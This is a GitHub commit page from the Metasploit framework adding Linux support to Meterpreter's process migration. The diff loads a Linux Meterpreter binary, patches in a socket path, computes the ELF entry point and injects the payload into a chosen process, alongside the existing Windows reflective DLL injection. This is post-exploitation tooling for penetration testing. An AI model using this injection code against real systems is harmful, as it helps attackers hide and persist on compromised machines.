Skip to content

Commit 92bdf42

Browse files
author
Brent Cook
committed
Land rapid7#3594, jvazquez-r7's linux meterpreter migration support
2 parents 553030b + dccf189 commit 92bdf42

File tree

7 files changed

+209
-92
lines changed

7 files changed

+209
-92
lines changed
0 Bytes
Binary file not shown.
108 Bytes
Binary file not shown.
0 Bytes
Binary file not shown.
4 KB
Binary file not shown.

lib/rex/post/meterpreter/client_core.rb

Lines changed: 151 additions & 50 deletions
Original file line numberDiff line numberDiff line change
@@ -25,6 +25,9 @@ module Meterpreter
2525
###
2626
class ClientCore < Extension
2727

28+
UNIX_PATH_MAX = 108
29+
DEFAULT_SOCK_PATH = "/tmp/meterpreter.sock"
30+
2831
#
2932
# Initializes the 'core' portion of the meterpreter client commands.
3033
#
@@ -180,11 +183,13 @@ def use(mod, opts = { })
180183
# Migrates the meterpreter instance to the process specified
181184
# by pid. The connection to the server remains established.
182185
#
183-
def migrate( pid )
186+
def migrate(pid, writable_dir = nil)
184187
keepalive = client.send_keepalives
185188
client.send_keepalives = false
186189
process = nil
187190
binary_suffix = nil
191+
old_platform = client.platform
192+
old_binary_suffix = client.binary_suffix
188193

189194
# Load in the stdapi extension if not allready present so we can determine the target pid architecture...
190195
client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" )
@@ -202,63 +207,58 @@ def migrate( pid )
202207
raise RuntimeError, "Cannot migrate into non existent process", caller
203208
end
204209

205-
# We cant migrate into a process that we are unable to open
206-
if process['arch'].nil? or process['arch'].empty?
207-
raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller
210+
# We cannot migrate into a process that we are unable to open
211+
# On linux, arch is empty even if we can access the process
212+
if client.platform =~ /win/
213+
if process['arch'] == nil || process['arch'].empty?
214+
raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller
215+
end
208216
end
209217

210-
# And we also cant migrate into our own current process...
218+
# And we also cannot migrate into our own current process...
211219
if process['pid'] == client.sys.process.getpid
212220
raise RuntimeError, "Cannot migrate into current process", caller
213221
end
214222

215-
# Create a new payload stub
216-
c = Class.new( ::Msf::Payload )
217-
c.include( ::Msf::Payload::Stager )
223+
if client.platform =~ /linux/
224+
if writable_dir.blank?
225+
writable_dir = tmp_folder
226+
end
218227

219-
# Include the appropriate reflective dll injection module for the target process architecture...
220-
if process['arch'] == ARCH_X86
221-
c.include( ::Msf::Payload::Windows::ReflectiveDllInject )
222-
binary_suffix = "x86.dll"
223-
elsif process['arch'] == ARCH_X86_64
224-
c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 )
225-
binary_suffix = "x64.dll"
226-
else
227-
raise RuntimeError, "Unsupported target architecture '#{process['arch']}' for process '#{process['name']}'.", caller
228+
stat_dir = client.fs.filestat.new(writable_dir)
229+
230+
unless stat_dir.directory?
231+
raise RuntimeError, "Directory #{writable_dir} not found", caller
232+
end
233+
# Rex::Post::FileStat#writable? isn't available
228234
end
229235

230-
# Create the migrate stager
231-
migrate_stager = c.new()
236+
blob = generate_payload_stub(process)
232237

233-
dll = MeterpreterBinaries.path('metsrv',binary_suffix)
234-
if dll.nil?
235-
raise RuntimeError, "metsrv.#{binary_suffix} not found", caller
236-
end
237-
migrate_stager.datastore['DLL'] = dll
238+
# Build the migration request
239+
request = Packet.create_request( 'core_migrate' )
238240

239-
blob = migrate_stager.stage_payload
241+
if client.platform =~ /linux/i
242+
socket_path = File.join(writable_dir, Rex::Text.rand_text_alpha_lower(5 + rand(5)))
240243

241-
if client.passive_service
244+
if socket_path.length > UNIX_PATH_MAX - 1
245+
raise RuntimeError, "The writable dir is too long", caller
246+
end
242247

243-
#
244-
# Patch options into metsrv for reverse HTTP payloads
245-
#
246-
Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
247-
:ssl => client.ssl,
248-
:url => self.client.url,
249-
:expiration => self.client.expiration,
250-
:comm_timeout => self.client.comm_timeout,
251-
:ua => client.exploit_datastore['MeterpreterUserAgent'],
252-
:proxyhost => client.exploit_datastore['PROXYHOST'],
253-
:proxyport => client.exploit_datastore['PROXYPORT'],
254-
:proxy_type => client.exploit_datastore['PROXY_TYPE'],
255-
:proxy_username => client.exploit_datastore['PROXY_USERNAME'],
256-
:proxy_password => client.exploit_datastore['PROXY_PASSWORD']
248+
pos = blob.index(DEFAULT_SOCK_PATH)
249+
250+
if pos.nil?
251+
raise RuntimeError, "The meterpreter binary is wrong", caller
252+
end
253+
254+
blob[pos, socket_path.length + 1] = socket_path + "\x00"
257255

256+
ep = elf_ep(blob)
257+
request.add_tlv(TLV_TYPE_MIGRATE_BASE_ADDR, 0x20040000)
258+
request.add_tlv(TLV_TYPE_MIGRATE_ENTRY_POINT, ep)
259+
request.add_tlv(TLV_TYPE_MIGRATE_SOCKET_PATH, socket_path, false, client.capabilities[:zlib])
258260
end
259261

260-
# Build the migration request
261-
request = Packet.create_request( 'core_migrate' )
262262
request.add_tlv( TLV_TYPE_MIGRATE_PID, pid )
263263
request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length )
264264
request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib])
@@ -307,15 +307,28 @@ def migrate( pid )
307307
end
308308
end
309309

310-
# Update the meterpreter platform/suffix for loading extensions as we may have changed target architecture
311-
# sf: this is kinda hacky but it works. As ruby doesnt let you un-include a module this is the simplest solution I could think of.
312-
# If the platform specific modules Meterpreter_x64_Win/Meterpreter_x86_Win change significantly we will need a better way to do this.
313-
if process['arch'] == ARCH_X86_64
314-
client.platform = 'x64/win64'
315-
client.binary_suffix = 'x64.dll'
310+
# Update the meterpreter platform/suffix for loading extensions as we may
311+
# have changed target architecture
312+
# sf: this is kinda hacky but it works. As ruby doesnt let you un-include a
313+
# module this is the simplest solution I could think of. If the platform
314+
# specific modules Meterpreter_x64_Win/Meterpreter_x86_Win change
315+
# significantly we will need a better way to do this.
316+
317+
case client.platform
318+
when /win/i
319+
if process['arch'] == ARCH_X86_64
320+
client.platform = 'x64/win64'
321+
client.binary_suffix = 'x64.dll'
322+
else
323+
client.platform = 'x86/win32'
324+
client.binary_suffix = 'x86.dll'
325+
end
326+
when /linux/i
327+
client.platform = 'x86/linux'
328+
client.binary_suffix = 'lso'
316329
else
317-
client.platform = 'x86/win32'
318-
client.binary_suffix = 'x86.dll'
330+
client.platform = old_platform
331+
client.binary_suffix = old_binary_suffix
319332
end
320333

321334
# Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix)
@@ -348,6 +361,94 @@ def shutdown
348361
true
349362
end
350363

364+
private
365+
366+
def generate_payload_stub(process)
367+
case client.platform
368+
when /win/i
369+
blob = generate_windows_stub(process)
370+
when /linux/i
371+
blob = generate_linux_stub
372+
else
373+
raise RuntimeError, "Unsupported platform '#{client.platform}'"
374+
end
375+
376+
blob
377+
end
378+
379+
def generate_windows_stub(process)
380+
c = Class.new( ::Msf::Payload )
381+
c.include( ::Msf::Payload::Stager )
382+
383+
# Include the appropriate reflective dll injection module for the target process architecture...
384+
if process['arch'] == ARCH_X86
385+
c.include( ::Msf::Payload::Windows::ReflectiveDllInject )
386+
binary_suffix = "x86.dll"
387+
elsif process['arch'] == ARCH_X86_64
388+
c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 )
389+
binary_suffix = "x64.dll"
390+
else
391+
raise RuntimeError, "Unsupported target architecture '#{process['arch']}' for process '#{process['name']}'.", caller
392+
end
393+
394+
# Create the migrate stager
395+
migrate_stager = c.new()
396+
397+
dll = MeterpreterBinaries.path('metsrv',binary_suffix)
398+
if dll.nil?
399+
raise RuntimeError, "metsrv.#{binary_suffix} not found", caller
400+
end
401+
migrate_stager.datastore['DLL'] = dll
402+
403+
blob = migrate_stager.stage_payload
404+
405+
if client.passive_service
406+
407+
#
408+
# Patch options into metsrv for reverse HTTP payloads
409+
#
410+
Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
411+
:ssl => client.ssl,
412+
:url => self.client.url,
413+
:expiration => self.client.expiration,
414+
:comm_timeout => self.client.comm_timeout,
415+
:ua => client.exploit_datastore['MeterpreterUserAgent'],
416+
:proxyhost => client.exploit_datastore['PROXYHOST'],
417+
:proxyport => client.exploit_datastore['PROXYPORT'],
418+
:proxy_type => client.exploit_datastore['PROXY_TYPE'],
419+
:proxy_username => client.exploit_datastore['PROXY_USERNAME'],
420+
:proxy_password => client.exploit_datastore['PROXY_PASSWORD']
421+
422+
end
423+
424+
blob
425+
end
426+
427+
def generate_linux_stub
428+
file = ::File.join(Msf::Config.data_directory, "meterpreter", "msflinker_linux_x86.bin")
429+
blob = ::File.open(file, "rb") {|f|
430+
f.read(f.stat.size)
431+
}
432+
433+
blob
434+
end
435+
436+
def elf_ep(payload)
437+
elf = Rex::ElfParsey::Elf.new( Rex::ImageSource::Memory.new( payload ) )
438+
ep = elf.elf_header.e_entry
439+
return ep
440+
end
441+
442+
def tmp_folder
443+
tmp = client.sys.config.getenv('TMPDIR')
444+
445+
if tmp.blank?
446+
tmp = '/tmp'
447+
end
448+
449+
tmp
450+
end
451+
351452
end
352453

353454
end; end; end

lib/rex/post/meterpreter/packet.rb

Lines changed: 41 additions & 38 deletions
Original file line numberDiff line numberDiff line change
@@ -48,44 +48,47 @@ module Meterpreter
4848
#
4949
# TLV Specific Types
5050
#
51-
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
52-
TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
53-
TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
54-
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
55-
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
56-
57-
58-
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
59-
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
60-
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
61-
62-
TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
63-
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
64-
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
65-
66-
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
67-
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
68-
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
69-
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
70-
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
71-
TLV_TYPE_CHANNEL_PARENTID = TLV_META_TYPE_UINT | 55
72-
73-
TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70
74-
TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71
75-
TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72
76-
77-
TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300
78-
TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301
79-
80-
TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400
81-
TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
82-
TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
83-
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
84-
TLV_TYPE_MIGRATE_PAYLOAD = TLV_META_TYPE_STRING | 404
85-
TLV_TYPE_MIGRATE_ARCH = TLV_META_TYPE_UINT | 405
86-
87-
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
88-
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
51+
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
52+
TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
53+
TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
54+
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
55+
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
56+
57+
58+
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
59+
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
60+
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
61+
62+
TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
63+
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
64+
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
65+
66+
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
67+
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
68+
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
69+
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
70+
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
71+
TLV_TYPE_CHANNEL_PARENTID = TLV_META_TYPE_UINT | 55
72+
73+
TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70
74+
TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71
75+
TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72
76+
77+
TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300
78+
TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301
79+
80+
TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400
81+
TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
82+
TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
83+
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
84+
TLV_TYPE_MIGRATE_PAYLOAD = TLV_META_TYPE_STRING | 404
85+
TLV_TYPE_MIGRATE_ARCH = TLV_META_TYPE_UINT | 405
86+
TLV_TYPE_MIGRATE_BASE_ADDR = TLV_META_TYPE_UINT | 407
87+
TLV_TYPE_MIGRATE_ENTRY_POINT = TLV_META_TYPE_UINT | 408
88+
TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_META_TYPE_STRING | 409
89+
90+
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
91+
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
8992

9093
#
9194
# Core flags

lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb

Lines changed: 17 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -69,7 +69,7 @@ def commands
6969
# whatever reason it is not adding core_migrate to its list of commands.
7070
# Use a dumb platform til it gets sorted.
7171
#if client.commands.include? "core_migrate"
72-
if client.platform =~ /win/
72+
if client.platform =~ /win/ || client.platform =~ /linux/
7373
c["migrate"] = "Migrate the server to another process"
7474
end
7575

@@ -321,7 +321,11 @@ def cmd_irb(*args)
321321
end
322322

323323
def cmd_migrate_help
324-
print_line "Usage: migrate <pid>"
324+
if client.platform =~ /linux/
325+
print_line "Usage: migrate <pid> [writable_path]"
326+
else
327+
print_line "Usage: migrate <pid>"
328+
end
325329
print_line
326330
print_line "Migrates the server instance to another process."
327331
print_line "NOTE: Any open channels or other dynamic state will be lost."
@@ -331,7 +335,8 @@ def cmd_migrate_help
331335
#
332336
# Migrates the server to the supplied process identifier.
333337
#
334-
# @param args [Array<String>] Commandline arguments, only -h or a pid
338+
# @param args [Array<String>] Commandline arguments, -h or a pid. On linux
339+
# platforms a path for the unix domain socket used for IPC.
335340
# @return [void]
336341
def cmd_migrate(*args)
337342
if ( args.length == 0 or args.include?("-h") )
@@ -345,6 +350,10 @@ def cmd_migrate(*args)
345350
return
346351
end
347352

353+
if client.platform =~ /linux/
354+
writable_dir = (args.length >= 2) ? args[1] : nil
355+
end
356+
348357
begin
349358
server = client.sys.process.open
350359
rescue TimeoutError => e
@@ -385,7 +394,11 @@ def cmd_migrate(*args)
385394
server ? print_status("Migrating from #{server.pid} to #{pid}...") : print_status("Migrating to #{pid}")
386395

387396
# Do this thang.
388-
client.core.migrate(pid)
397+
if client.platform =~ /linux/
398+
client.core.migrate(pid, writable_dir)
399+
else
400+
client.core.migrate(pid)
401+
end
389402

390403
print_status("Migration completed successfully.")
391404

0 commit comments

Comments
 (0)